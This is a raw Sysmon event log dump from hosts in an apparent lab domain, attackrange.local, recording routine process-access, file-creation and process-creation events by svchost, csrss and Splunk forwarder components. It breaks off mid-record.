14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6EDB-613B-8A04-00000000F101}3636C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6EDB-613B-8A04-00000000F101}3636C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.200{625C326B-6EDB-613B-8A04-00000000F101}3636C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.184{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=86DF6CA60587016B190C5F30E65F70F3,SHA256=A7494C24E08C11DC6D2F0ABEE9D53BBD9997C130AB0755285874586D2FFBDBB7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.090{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74B3604CCBC150A2D43723B346C76519,SHA256=FC52FE2882B16E53F12F18DAD920FDD8CF9C253D8D3B2C00758D9F8C1F3DAA8D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:35.400{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:36.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=088992274F536E6DE47853668B4283D7,SHA256=E3B47076C7CC9889D8322E8D95D66E2F186ECABA6FE58202B87097FBC4FD0C42,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:36.761{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C185927AC1709A6ED53EEDB46E444E6A,SHA256=762FB98E1187A0215EAEE9473224AE87D9529E8BF7015E880D8872CFB0A23546,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.387{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C60F52203E6A2F4977EFB6D21BC1EDD,SHA256=60AE2B86E5284A8302312500CF422519C896A4618544F53B8947A646DC7C21BE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.387{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=916F342D21468FA6105EEA9EE729236D,SHA256=6C7270F441CDF3E8331AB3F6A117C827BCCE4ECEAEC1C02971640CE6B26AFBAD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6EDC-613B-8C04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6EDC-613B-8C04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.199{625C326B-6879-613B-A400-00000000F101}20043924C:\Program 